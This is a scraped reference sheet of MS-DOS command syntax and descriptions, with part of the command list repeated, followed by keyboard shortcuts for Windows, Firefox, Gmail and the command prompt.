TREE [d:][path] [/A][/F]
Displays directory paths and (optionally) files in each subdirectory.
TYPE
(Internal)
TYPE [d:][path]filename
Displays the contents of a file.
UNDELETE
(External)
UNDELETE [d:][path][filename] [/DT|/DS|/DOS]
UNDELETE [/list|/all|/purge[d:]|/status|/load|/U|/S[d:]|/Td:[-entries]]
Restores files deleted with the DELETE command.
UNFORMAT
(External)
UNFORMAT d: [/J][/L][/test][/partn][/P][/U]
Used to undo the effects of formatting a disk.
VER
(Internal)
VER
Displays the DOS version number.
VERIFY
(Internal)
VERIFY on|off
Turns on the verify mode; the program checks all copying operations to assure that files are copied correctly.
VOL
(Internal)
VOL [d:]
Displays a disk's volume label.
VSAFE
(External)
VSAFE [/option[+|-]...] [/NE][/NX][Ax|/Cx] [/N][/D][/U]
VSAFE is a memory-resident program that continuously monitors your computer for viruses and displays a warning when it finds one.
XCOPY
(External)
XCOPY [d:][path]filename [d:][path][filename] [/A][/D:(date)] [/E][/M][/P][/S][/V][/W][Y\-Y]
Copies directories, subdirectories, and files.
Syntax Notes
To be functional, each DOS command must be entered in a particular way: this command entry structure is known as the command's "syntax." The syntax "notation" is a way to reproduce the command syntax in print.
For example, you can determine the items that are optional, by looking for information that is printed inside square brackets. The notation [d:], for example, indicates an optional drive designation. The command syntax, on the other hand, is how YOU enter the command to make it work.
Command Syntax Elements
1. Command Name
The DOS command name is the name you enter to start the DOS program (a few of the DOS commands can be entered using shortcut names). The DOS command name is always entered first. In this book, the command is usually printed in uppercase letters, but you can enter command names as either lowercase or uppercase or a mix of both.
2. Space
Always leave a space after the command name.
3. Drive Designation
The drive designation (abbreviated in this book as "d:") is an option for many DOS commands. However, some commands are not related to disk drives and therefore do not require a drive designation. Whenever you enter a DOS command that deals with disk drives and you are already working in the drive in question, you do not have to enter the drive designator. For example, if you are working in drive A (when the DOS prompt A> is showing at the left side of the screen) and you want to use the DIR command to display a directory listing of that same drive, you do not have to enter the drive designation. If you do not enter a drive designation, DOS always assumes you are referring to the drive you are currently working in (sometimes called the "default" drive).
4. A Colon
When referring to a drive in a DOS command, you must always follow the drive designator with a colon (:) (this is how DOS recognizes it as a drive designation).
5. Pathname
A pathname (path) refers to the path you want DOS to follow in order to act on the DOS command. As described in Chapter 3, it indicates the path from the current directory or subdirectory to the files that are to be acted upon.
6. Filename
A filename is the name of a file stored on disk. As described in Chapter 1, a filename can be of eight or fewer letters or other legal characters.
7. Filename Extension
A filename extension can follow the filename to further identify it. The extension follows a period and can be of three or fewer characters. A filename extension is not required.
8. Switches
Characters shown in a command syntax that are represented by a letter or number and preceded by a forward slash (for example, "/P") are command options (sometimes known as "switches"). Use of these options activate special operations as part of a DOS command's functions.
9. Brackets
Items enclosed in square brackets are optional; in other words, the command will work in its basic form without entering the information contained inside the brackets.
10. Ellipses
Ellipses (...) indicate that an item in a command syntax can be repeated as many times as needed.
11. Vertical Bar
When items are separated by a vertical bar (|), it means that you enter one of the separated items. For example: ON | OFF means that you can enter either ON or OFF, but not both
(External)
APPEND ;
APPEND [d:]path[;][d:]path[...]
APPEND [/X:on|off][/path:on|off] [/E]
Displays or sets the search path for data files. DOS will search the specified path(s) if the file is not found in the current path.
ASSIGN
(External)
ASSIGN x=y [...] /sta
Redirects disk drive requests to a different drive.
ATTRIB
(External)
ATTRIB [d:][path]filename [/S]
ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [d:][path]filename [/S]
Sets or displays the read-only, archive, system, and hidden attributes of a file or directory.
BACKUP
(External)
BACKUP d:[path][filename] d:[/S][/M][/A][/F:(size)] [/P][/D:date] [/T:time] [/L:[path]filename]
Makes a backup copy of one or more files. (In DOS Version 6, this program is stored on the DOS supplemental disk.)
BREAK
(Internal)
BREAK =on|off
Used from the DOS prompt or in a batch file or in the CONFIG.SYS file to set (or display) whether or not DOS should check for a Ctrl + Break key combination.
BUFFERS
(Internal)
BUFFERS=(number),(read-ahead number)
Used in the CONFIG.SYS file to set the number of disk buffers (number) that will be available for use during data input. Also used to set a value for the number of sectors to be read in advance (read-ahead) during data input operations.
CALL
(Internal)
CALL [d:][path]batchfilename [options]
Calls another batch file and then returns to current batch file to continue.
CHCP
(Internal)
CHCP (codepage)
Displays the current code page or changes the code page that DOS will use.
CHDIR
(Internal)
CHDIR (CD) [d:]path
CHDIR (CD)[..]
Displays working (current) directory and/or changes to a different directory.
CHKDSK
(External)
CHKDSK [d:][path][filename] [/F][/V]
Checks a disk and provides a file and memory status report.
CHOICE
(Internal)
CHOICE [/C[:]keys] [/N][/S][/T[:]c,nn] [text]
Used to provide a prompt so that a user can make a choice while a batch program is running.
CLS (Clear Screen)
(Internal)
CLS
Clears (erases) the screen.
COMMAND
(External)
COMMAND [d:][path] [device] [/P][/E:(size)] [/MSG][/Y [/C (command)|/K (command)]
Starts a new version of the DOS command processor (the program that loads the DOS Internal programs).
COMP
(External)
COMP [d:][path][filename] [d:][path][filename] [/A][/C][/D][/L][/N:(number)]
Compares two groups of files to find information that does not match. (See FC command).
COPY
(Internal)
COPY [/Y|-Y] [/A][/B] [d:][path]filename [/A][/B] [d:][path][filename] [/V]
or
COPY [/Y|-Y][/A][/B] [d:][path]filename+[d:][path]filename[...][d:][path][filename] [/V]
Copies and appends files.
COUNTRY
(Internal)
COUNTRY=country code,[code page][,][d:][filename]
Used in the CONFIG.SYS file to tell DOS to use country-specific text conventions during processing.
CTTY
(Internal)
CTTY (device)
Changes the standard I/O (Input/Output) device to an auxiliary device.
DATE
(Internal)
DATE mm-dd-yy
Displays and/or sets the system date.
DBLSPACE
(External)
DBLSPACE / automount=drives
DBLSPACE /chkdsk [/F] [d:]
DBLSPACE /compress d: [/newdrive=host:] [/reserve=size] [/F]
DBLSPACE /create d: [/newdrive=host:] [/reserve=size] [/size=size]
DBLSPACE /defragment [d:] ]/F]
DBLSPACE /delete d:
DBLSPACE /doubleguard=0|1
DBLSPACE /format d:
DBLSPACE [/info] [d:]
DBLSPACE /list
DBLSPACE /mount[=nnn] host: [/newdrive=d:]
DBLSPACE /ratio[=ratio] [d:] [/all]
DBLSPACE /size[=size] [/reserve=size] d:
DBLSPACE /uncompress d:
DBLSPACE /unmount [d:]
A program available with DOS 6.0 that allows you to compress information on a disk.
DEBUG
(External)
DEBUG [pathname] [parameters]
An MS-DOS utility used to test and edit programs.
DEFRAG
(External)
DEFRAG [d:] [/F][/S[:]order] [/B][/skiphigh [/LCD|/BW|/GO] [/H]
DEFRAG [d:] [/V][/B][/skiphigh] [/LCD]|/BW|/GO] [/H]
Optimizes disk performance by reorganizing the files on the disk.
DEL (ERASE)
(Internal)
DEL (ERASE) [d:][path]filename [/P]
Deletes (erases) files from disk.
DELOLDOS
(External)
DELOLDOS [/B]
Deletes all files from previous versions of DOS after a 5.0 or 6.0 installation.
DELTREE
(External)
DELTREE [/Y] [d:]path [d:]path[...]
Deletes (erases) a directory including all files and subdirectories that are in it.
DEVICE
(Internal)
DEVICE=(driver name)
Used in the CONFIG.SYS file to tell DOS which device driver to load.
DEVICEHIGH
(Internal)
DEVICEHIGH=(driver name)
Like DEVICE, DEVICEHIGH is used in the CONFIG.SYS file to tell DOS which device driver software to use for devices; however, this option is used to install the device driver into the upper memory area.
DIR
(Internal)
DIR [d:][path][filename] [/A:(attributes)] [/O:(order)] [/B][/C][/CH][/L][/S][/P][/W]
Displays directory of files and directories stored on disk.
DISKCOMP
(External)
DISKCOMP [d:] [d:][/1][/8]
Compares the contents of two diskettes.
DISKCOPY
(External)
DISKCOPY [d:] [d:][/1][/V][/M]
Makes an exact copy of a diskette.
DOS
(Internal)
DOS=[high|low],[umb|noumb]
Used in the CONFIG.SYS file to specify the memory location for DOS. It is used to load DOS into the upper memory area and to specify whether or not the upper memory blocks will be used.
DOSKEY
(External)
DOSKEY [reinstall] [/bufsize=size][/macros][/history][/insert|/overstrike] [macroname=[text]]
Loads the Doskey program into memory which can be used to recall DOS commands so that you can edit them.
DOSSHELL
(External)
DOSSHELL [/B] [/G:[resolution][n]]|[/T:[resolution][n]]
Initiates the graphic shell program using the specified screen resolution.
DRIVPARM
(Internal)
DRIVPARM= /D:(number) [/C] [/F:(form factor)] [/H:(number)] [/I][ /N][/S:(number)] [/T:(tracks)]
Used in the CONFIG.SYS file to set parameters for a disk drive.
ECHO
(Internal)
ECHO on|off
ECHO (message)
Displays messages or turns on or off the display of commands in a batch file.
EDIT
(External)
EDIT [d:][path]filename [/B][/G][/H][/NOHI]
Starts the MS-DOS editor, a text editor used to create and edit ASCII text files.
EMM386
(External)
EMM386 [on|off|auto] [w=on|off]
Enables or disables EMM386 expanded-memory support on a computer with an 80386 or higher processor.
EXE2BIN
(External)
EXE2BIN [d:][path]filename [d:][path]filename
Converts .EXE (executable) files to binary format.
EXIT
(Internal)
EXIT
Exits a secondary command processor.
EXPAND
(External)
EXPAND [d:][path]filename [[d:][path]filename[ . . .]]
Expands a compressed file.
FASTHELP
(External)
FASTHELP [command][command] /?
Displays a list of DOS commands with a brief explanation of each.
FASTOPEN
(External)
FASTOPEN d:[=n][/X]
Keeps track of the locations of files for fast access.
FC
(External)
FC [/A][/C][/L][/Lb n][/N][/T][/W][number] [d:][path]filename [d:][path]filename
or (for binary comparisons)
FC [/B][/number] [d:][path]filename [d:][path]filename
Displays the differences between two files or sets of files.
FCBS
(Internal)
FCBS=(number)
Used in the CONFIG.SYS file to specify the number of file-control blocks for file sharing.
FDISK
(External)
FDISK [/status]
Prepares a fixed disk to accept DOS files for storage.
FILES
(Internal)
FILES=(number)
Used in the CONFIG.Sys file to specify the maximum number of files that can be open at the same time.
FIND
(External)
FIND [/V][/C][/I][/N] ÒstringÓ [d:][path]filename[...]
Finds and reports the location of a specific string of text characters in one or more files.
FOR
(Internal)
FOR %%(variable) IN (set) DO (command)
or (for interactive processing)
FOR %(variable) IN (set) DO (command)
Performs repeated execution of commands (for both batch processing and interactive processing).
FORMAT
(External)
FORMAT d:[/1][/4][/8][/F:(size)] [/N:(sectors)] [/T:(tracks)][/B|/S][/C][/V:(label)] [/Q][/U][/V]
Formats a disk to accept DOS files.
GOTO
(Internal)
GOTO (label)
Causes unconditional branch to the specified label.
GRAFTABL
(External)
GRAFTABL [(code page)]
GRAFTABL [status]
Loads a table of character data into memory (for use with a color/graphics adapter).
GRAPHICS
(External)
GRAPHICS [printer type][profile] [/B][/R][/LCD][/PB:(id)] [/C][/F][/P(port)]
Provides a way to print contents of a graphics screen display.
HELP
(External)
HELP [command] [/B][/G][/H][/NOHI]
Displays information about a DOS command.
IF
(Internal)
IF [NOT] EXIST filename (command) [parameters]
IF [NOT] (string1)==(string2) (command) [parameters]
IF [NOT] ERRORLEVEL (number) (command) [parameters]
Allows for conditional operations in batch processing.
INCLUDE
(Internal)
INCLUDE= blockname
Used in the CONFIG.SYS file to allow you to use the commands from one CONFIG.SYS block within another.
INSTALL
(Internal)
INSTALL=[d: ][\path]filename [parameters]
Used in the CONFIG.SYS file to load memory-resident programs into conventional memory.
INTERLINK
(External)
INTERLINK [client[:]=[server][:]]
Connects two computers via parallel or serial ports so that the computers can share disks and printer ports.
INTERSVR
(External)
INTERSVR [d:][...][/X=d:][...] [/LPT:[n|address]] [/COM:[n|address]][/baud:rate] [/B][/V]
INTERSVR /RCOPY
Starts the Interlink server.
JOIN
(External)
JOIN d: [d:path]
JOIN d: [/D]
Allows access to the directory structure and files of a drive through a directory on a different drive.
KEYB
(External)
KEYB [xx][,][yyy][,][d:][path]filename [/E][/ID:(number)]
Loads a program that replaces the support program for U. S. keyboards.
LABEL
(External)
LABEL [d:][volume label]
Creates or changes or deletes a volume label for a disk.
LASTDRIVE
(Internal)
LASTDRIVE=(drive letter)
Used in the CONFIG.SYS file to set the maximum number of drives that can be accessed.
LOADFIX
(Internal)
LOADFIX [d:][path]filename [parameters]
Ensures that a program is loaded above the first 64K of conventional memory, and runs the program.
LOADHIGH
(Internal)
LOADHIGH (LH) [d:][path]filename [parameters]
Loads memory resident application into reserved area of memory (between 640K-1M).
MEM
(External)
MEM [/program|/debug|/classify|/free|/module(name)] [/page]
Displays amount of installed and available memory, including extended, expanded, and upper memory.
MEMMAKER
(External)
MEMMAKER [/B][/batch][/session][/swap:d] [/T][/undo][/W:size1,size2]
Starts the MemMaker program, a program that lets you optimize your computer's memory.
MENUCOLOR
(Internal)
MENUCOLOR=textcolor,[background]
Used in the CONFIG.SYS file to set the colors that will be used by DOS to display text on the screen.
MENUDEFAULT
(Internal)
MENUDEFAULT=blockname, [timeout]
Used in the CONFIG.SYS file to set the startup configuration that will be used by DOS if no key is pressed within the specified timeout period.
MENUITEM
(Internal)
MENUITEM=blockname, [menutext]
Used in the CONFIG.SYS file to create a start-up menu from which you can select a group of CONFIG.SYS commands to be processed upon reboot.
MIRROR
(External)
MIRROR [d:]path [d:] path [...]
MIRROR [d1:][d2:][...] [/T(drive)(files)] [/partn][/U][/1]
Saves disk storage information that can be used to recover accidentally erased files.
MKDIR
(MD) (Internal)
MKDIR (MD) [d:]path
Creates a new subdirectory.
MODE
(External)
MODE n
MODE LPT#[:][n][,][m][,][P][retry]
MODE [n],m[,T]
MODE (displaytype,linetotal)
MODE COMn[:]baud[,][parity][,][databits][,][stopbits][,][retry]
MODE LPT#[:]=COMn [retry]
MODE CON[RATE=(number)][DELAY=(number)]
MODE (device) CODEPAGE PREPARE=(codepage) [d:][path]filename
MODE (device) CODEPAGE PREPARE=(codepage list) [d:][path]filename
MODE (device) CODEPAGE SELECT=(codepage)
MODE (device) CODEPAGE [/STATUS]
MODE (device) CODEPAGE REFRESH
Sets mode of operation for devices or communications.
MORE
(External)
MORE < (filename or command) (name)|MORE Sends output to console, one screen at a time. MOVE (Internal) MOVE [/Y|/-Y] [d:][path]filename[,[d:][path]filename[...]] destination Moves one or more files to the location you specify. Can also be used to rename directories. MSAV (External) MSAV [d:] [/S|/C][/R][/A][/L][/N][/P][/F][/video][/mouse] MSAV /video Scans your computer for known viruses. MSBACKUP (External) MSBACKUP [setupfile] [/BW|/LCD|/MDA] Used to backup or restore one or more files from one disk to another. MSCDEX (External) MSCDEX /D:driver [/D:driver2. . .] [/E][/K][/S][/V][/L:letter] [/M:number] Used to gain access to CD-ROM drives (new with DOS Version 6). MSD (External) MSD [/B][/I] MSD [/I] [/F[d:][path]filename [/P[d:][path]filename [/S[d:][path]filename Provides detailed technical information about your computer. NLSFUNC (External) NLSFUNC [d:][path]filename Used to load a file with country-specific information. NUMLOCK (Internal) NUMLOCK=on|off Used in the CONFIG.SYS file to specify the state of the NumLock key. PATH (Internal) PATH; PATH [d:]path[;][d:]path[...] Sets or displays directories that will be searched for programs not in the current directory. PAUSE (Internal) PAUSE [comment] Suspends execution of a batch file until a key is pressed. POWER (External) POWER [adv:max|reg|min]|std|off] Used to turn power management on and off, report the status of power management, and set levels of power conservation. PRINT (External) PRINT [/B:(buffersize)] [/D:(device)] [/M:(maxtick)] [/Q:(value] [/S:(timeslice)][/U:(busytick)] [/C][/P][/T] [d:][path][filename] [...] Queues and prints data files. PROMPT (Internal) PROMPT [prompt text] [options] Changes the DOS command prompt. RECOVER (External) RECOVER [d:][path]filename RECOVER d: Resolves sector problems on a file or a disk. (Beginning with DOS Version 6, RECOVER is no longer available ). REM (Internal) REM [comment] Used in batch files and in the CONFIG.SYS file to insert remarks (that will not be acted on). RENAME (REN) (Internal) RENAME (REN) [d:][path]filename [d:][path]filename Changes the filename under which a file is stored. REPLACE (External) REPLACE [d:][path]filename [d:][path] [/A][/P][/R][/S][/U][/W] Replaces stored files with files of the same name from a different storage location. RESTORE (External) RESTORE d: [d:][path]filename [/P][/S][/B:mm-dd-yy] [/A:mm-dd-yy][/E:hh:mm:ss] [/L:hh:mm:ss] [/M][/N][/D] Restores to standard disk storage format files previously stored using the BACKUP command. RMDIR (RD) (Internal) RMDIR (RD) [d:]path Removes a subdirectory. SCANDISK (External) SCANDISK [d: [d: . . .]|/all][/checkonly|/autofix[/nosave]|/custom][/surface][/mono][/nosummay] SCANDISK volume-name[/checkonly|/autofix[/nosave]|/custom][/mono][/nosummary] SCANDISK /fragment [d:][path]filename SCANDISK /undo [undo-d:][/mono] Starts the Microsoft ScanDisk program which is a disk analysis and repair tool used to check a drive for errors and correct any problems that it finds. SELECT (External) SELECT [d:] [d:][path] [country code][keyboard code] Formats a disk and installs country-specific information and keyboard codes (starting with DOS Version 6, this command is no longer available). SET (Internal) SET (string1)=(string2) Inserts strings into the command environment. The set values can be used later by programs. SETVER (External) SETVER [d:]:path][filename (number)][/delete][/quiet] Displays the version table and sets the version of DOS that is reported to programs. SHARE (External) SHARE [/F:space] [/L:locks] Installs support for file sharing and file locking. SHELL (Internal) SHELL=[d:][path]filename [parameters] Used in the CONFIG.SYS file to specify the command interpreter that DOS should use. SHIFT (Internal) SHIFT Increases number of replaceable parameters to more than the standard ten for use in batch files. SORT (External) SORT [/R][/+n] < (filename) SORT [/R][/+n] > (filename2)
Sorts input and sends it to the screen or to a file.
STACKS
(Internal)
STACKS=(number),(size)
Used in the CONFIG.SYS file to set the number of stack frames and the size of each stack frame.
SUBMENU
(Internal)
SUBMENU=blockname, [menutext]
Used in the CONFIG.SYS file to create a multilevel menu from which you can select start-up options.
SUBST
(External)
SUBST d: d:path
SUBST d: /D
Substitutes a virtual drive letter for a path designation.
SWITCHES
(Internal)
SWITCHES= [/K][/F][/N][/W]
Used in the CONFIG.SYS file to configure DOS in a special way; for example, to tell DOS to emulate different hardware configurations.
SYS
(External)
SYS [source] d:
Transfers the operating system files to another disk.
TIME
(Internal)
TIME hh:mm[:ss][.cc][A|P]
Displays current time setting of system clock and provides a way for you to reset the time.
TREE
(External)
TREE [d:][path] [/A][/F]
Displays directory paths and (optionally) files in each subdirectory.
TYPE
(Internal)
TYPE [d:][path]filename
Displays the contents of a file.
UNDELETE
(External)
UNDELETE [d:][path][filename] [/DT|/DS|/DOS]
UNDELETE [/list|/all|/purge[d:]|/status|/load|/U|/S[d:]|/Td:[-entries]]
Restores files deleted with the DELETE command.
UNFORMAT
(External)
UNFORMAT d: [/J][/L][/test][/partn][/P][/U]
Used to undo the effects of formatting a disk.
VER
(Internal)
VER
Displays the DOS version number.
VERIFY
(Internal)
VERIFY on|off
Turns on the verify mode; the program checks all copying operations to assure that files are copied correctly.
VOL
(Internal)
VOL [d:]
Displays a disk's volume label.
VSAFE
(External)
VSAFE [/option[+|-]...] [/NE][/NX][Ax|/Cx] [/N][/D][/U]
VSAFE is a memory-resident program that continuously monitors your computer for viruses and displays a warning when it finds one.
XCOPY
(External)
XCOPY [d:][path]filename [d:][path][filename] [/A][/D:(date)] [/E][/M][/P][/S][/V][/W][Y\-Y]
Copies directories, subdirectories, and files.
Syntax Notes
To be functional, each DOS command must be entered in a particular way: this command entry structure is known as the command's "syntax." The syntax "notation" is a way to reproduce the command syntax in print.
For example, you can determine the items that are optional, by looking for information that is printed inside square brackets. The notation [d:], for example, indicates an optional drive designation. The command syntax, on the other hand, is how YOU enter the command to make it work.
Command Syntax Elements
1. Command Name
The DOS command name is the name you enter to start the DOS program (a few of the DOS commands can be entered using shortcut names). The DOS command name is always entered first. In this book, the command is usually printed in uppercase letters, but you can enter command names as either lowercase or uppercase or a mix of both.
2. Space
Always leave a space after the command name.
3. Drive Designation
The drive designation (abbreviated in this book as "d:") is an option for many DOS commands. However, some commands are not related to disk drives and therefore do not require a drive designation. Whenever you enter a DOS command that deals with disk drives and you are already working in the drive in question, you do not have to enter the drive designator. For example, if you are working in drive A (when the DOS prompt A> is showing at the left side of the screen) and you want to use the DIR command to display a directory listing of that same drive, you do not have to enter the drive designation. If you do not enter a drive designation, DOS always assumes you are referring to the drive you are currently working in (sometimes called the "default" drive).
4. A Colon
When referring to a drive in a DOS command, you must always follow the drive designator with a colon (:) (this is how DOS recognizes it as a drive designation).
5. Pathname
A pathname (path) refers to the path you want DOS to follow in order to act on the DOS command. As described in Chapter 3, it indicates the path from the current directory or subdirectory to the files that are to be acted upon.
6. Filename
A filename is the name of a file stored on disk. As described in Chapter 1, a filename can be of eight or fewer letters or other legal characters.
7. Filename Extension
A filename extension can follow the filename to further identify it. The extension follows a period and can be of three or fewer characters. A filename extension is not required.
8. Switches
Characters shown in a command syntax that are represented by a letter or number and preceded by a forward slash (for example, "/P") are command options (sometimes known as "switches"). Use of these options activate special operations as part of a DOS command's functions.
9. Brackets
Items enclosed in square brackets are optional; in other words, the command will work in its basic form without entering the information contained inside the brackets.
10. Ellipses
Ellipses (...) indicate that an item in a command syntax can be repeated as many times as needed.
11. Vertical Bar
When items are separated by a vertical bar (|), it means that you enter one of the separated items. For example: ON | OFF means that you can enter either ON or OFF, but not both
WINDOWS SHORTCUTS
Windows Shortcuts
* Shift + F10 right-clicks.
* Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.
* Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.
* Win + Control + F: Open Find dialog. (Computers)
* Win + U: Open Utility Manager.
* Win + F1: Open Windows help.
* Win + Pause: Open System Properties dialog.
* Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.
* Win + Shift + Tab: Cycle through taskbar buttons in reverse.
* Alt + Tab: Display Cool Switch. More commonly known as the AltTab dialog.
* Alt + Shift + Tab: Display Cool Switch; go in reverse.
* Alt + Escape: Send active window to the bottom of the z-order.
* Alt + Shift + Escape: Activate the window at the bottom of the z-order.
* Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog.
* Shift while a CD is loading: Bypass AutoPlay.
* Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)
* Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog.
* Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.
* Print screen: Copy screenshot of current screen to clipboard.
* Alt + Print screen: Copy screenshot of current active window to clipboard.
* Ctrl + Alt + Down Arrow: Invert screen. Untested on OS's other than XP.
* Ctrl + Alt + Up Arrow: Undo inversion.
* Win + B : Move focus to systray icons.
General
* Ctrl + C or Ctrl + Insert: Copy.
* Ctrl + X or Shift + Delete: Cut.
* Ctrl + V or Shift + Insert: Paste/Move.
* Ctrl + N: New... File, Tab, Entry, etc.
* Ctrl + S: Save.
* Ctrl + O: Open...
* Ctrl + P: Print.
* Ctrl + Z: Undo.
* Ctrl + A: Select all.
* Ctrl + F: Find...
* Ctrl+W : to close the current window
* Ctrl + F4: Close tab or child window.
* F1: Open help.
* F11: Toggle full screen mode.
* Alt or F10: Activate menu bar.
* Alt + Space: Display system menu. Same as clicking the icon on the titlebar.
* Escape: Remove focus from current control/menu, or close dialog box.
General Navigation
* Tab: Forward one item.
* Shift + Tab: Backward one item.
* Ctrl + Tab: Cycle through tabs/child windows.
* Ctrl + Shift + Tab: Cycle backwards through tabs/child windows.
* Enter: If a button's selected, click it, otherwise, click default button.
* Space: Toggle items such as radio buttons or checkboxes.
* Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item's name.
* Ctrl + Left: Move cursor to the beginning of previous word.
* Ctrl + Right: Move cursor to the beginning of next word.
* Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in Rich Edit controls.
* Ctrl + Down: Move cursor to beginning of next paragraph.
* Shift + Left: Highlight one character to the left.
* Shift + Right: Highlight one character to the right.
* Shift + Up: Highlight from current cursor position, to one line up.
* Shift + Down: Highlight from current cursor position, to one line down.
* Ctrl + Shift + Left: Highlight to beginning of previous word.
* Ctrl + Shift + Right: Highlight to beginning of next word.
* Ctrl + Shift + Up: Highlight to beginning of previous paragraph.
* Ctrl + Shift + Down: Highlight to beginning of next paragraph.
* Home: Move cursor to top of a scrollable control.
* End: Move cursor to bottom of a scrollable control.
File Browser
* Arrow Keys: Navigate.
* Shift + Arrow Keys: Select multiple items.
* Ctrl + Arrow Keys: Change focus without changing selection. "Focus" is the object that will run on Enter. Space toggles selection of the focused item.
* (Letter): Select first found item that begins with (Letter).
* BackSpace: Go up one level to the parent directory.
* Alt + Left: Go back one folder.
* Alt + Right: Go forward one folder.
* Enter: Activate (Double-click) selected item(s).
* Alt + Enter: View properties for selected item.
* F2: Rename selected item(s).
* Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one.
* Delete: Delete selected item(s).
* Shift + Delete: Delete selected item(s); bypass Recycle Bin.
* Ctrl while dragging item(s): Copy.
* Ctrl + Shift while dragging item(s): Create shortcut(s).
* In tree pane, if any:
* Left: Collapse the current selection if expanded, or select the parent folder.
* Right: Expand the current selection if collapsed, or select the first subfolder.
* Numpad Asterisk: Expand currently selected directory and all subdirectories. No undo.
* Numpad Plus: Expand currently selected directory.
* Numpad Minus: Collapse currently selected directory.
Accessibility
* Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled.
* Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled.
* Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled.
* NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled.
* Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled.
* 6.) Microsoft Natural Keyboard with IntelliType Software Installed
* Win + L: Log off Windows.
* Win + P: Open Print Manager.
* Win + C: Open control panel.
* Win + V: Open clipboard.
* Win + K: Open keyboard properties.
* Win + I: Open mouse properties.
* Win + A: Open Accessibility properties.
* Win + Space: Displays the list of Microsoft IntelliType shortcut keys.
* Win + S: Toggle CapsLock on and off.
Remote Desktop Connection Navigation
* Ctrl + Alt + End: Open the NT Security dialog.
* Alt + PageUp: Switch between programs.
* Alt + PageDown: Switch between programs in reverse.
* Alt + Insert: Cycle through the programs in most recently used order.
* Alt + Home: Display start menu.
* Ctrl + Alt + Break: Switch the client computer between a window and a full screen.
* Alt + Delete: Display the Windows menu.
* Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer.
* Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.
Mozilla Firefox Shortcuts
* Ctrl + Tab or Ctrl + PageDown: Cycle through tabs.
* Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse.
* Ctrl + (1-9): Switch to tab corresponding to number.
* Ctrl + N: New window.
* Ctrl + T: New tab.
* Ctrl + L or Alt + D or F6: Switch focus to location bar.
* Ctrl + Enter: Open location in new tab.
* Shift + Enter: Open location in new window.
* Ctrl + K or Ctrl + E: Switch focus to search bar.
* Ctrl + O: Open a local file.
* Ctrl + W: Close tab, or window if there's only one tab open.
* Ctrl + Shift + W: Close window.
* Ctrl + S: Save page as a local file.
* Ctrl + P: Print page.
* Ctrl + F or F3: Open find toolbar.
* Ctrl + G or F3: Find next...
* Ctrl + Shift + G or Shift + F3: Find previous...
* Ctrl + B or Ctrl + I: Open Bookmarks sidebar.
* Ctrl + H: Open History sidebar.
* Escape: Stop loading page.
* Ctrl + R or F5: Reload current page.
* Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache.
* Ctrl + U: View page source.
* Ctrl + D: Bookmark current page.
* Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size.
* Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size.
* Ctrl + Numpad0 or Ctrl + 0: Set text size to default.
* Alt + Left or Backspace: Back.
* Alt + Right or Shift + Backspace: Forward.
* Alt + Home: Open home page.
* Ctrl + M: Open new message in integrated mail client.
* Ctrl + J: Open Downloads dialog.
* F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.
* Shift + F6: Switch to previous frame.
* Apostrophe ('): Find link as you type.
* Slash (/): Find text as you type.
Gmail Shortcuts
* Note: Must have "keyboard shortcuts" on in settings.
* C: Compose new message.
* Shift + C: Open new window to compose new message.
* Slash (/): Switch focus to search box.
* K: Switch focus to the next most recent email. Enter or "O" opens focused email.
* J: Switch focus to the next oldest email.
* N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.
* P: Switch focus to the previous message.
* U: Takes you back to the inbox and checks for new mail.
* Y: Various actions depending on current view:
* Has no effect in "Sent" and "All Mail" views.
* Inbox: Archive email or message.
* Starred: Unstar email or message.
* Spam: Unmark as spam and move back to "Inbox."
* Trash: Move back to "Inbox."
* Any label: Remove the label.
* X: "Check" an email. Various actions can be performed against all checked emails.
* S: "Star" an email. Identical to the more familiar term, "flagging."
* R: Reply to the email.
* A: Reply to all recipients of the email.
* F: Forward an email.
* Shift + R: Reply to the email in a new window.
* Shift + A: Reply to all recipients of the email in a new window.
* Shift + F: Forward an email in a new window.
* Shift + 1 (!): Mark an email as spam and remove it from the inbox.
* G then I: Switch to "Inbox" view.
* G then S: Switch to "Starred" view.
* G then A: Switch to "All Mail" view.
* G then C: Switch to "Contacts" view.
* G then S: Switch to "Drafts" view.
List of F1-F9 Key Commands for the Command Prompt
* F1 / right arrow: Repeats the letters of the last command line, one by one.
* F2: Displays a dialog asking user to "enter the char to copy up to" of the last command line
* F3: Repeats the last command line
* F4: Displays a dialog asking user to "enter the char to delete up to" of the last command line
* F5: Goes back one command line
* F6: Enters the traditional CTRL+Z (^z)
* F7: Displays a menu with the command line history
* F8: Cycles back through previous command lines (beginning with most recent)
* F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered.
* Alt+Enter: toggle full Screen mode.
* up/down: scroll thru/repeat previous entries
* Esc: delete line
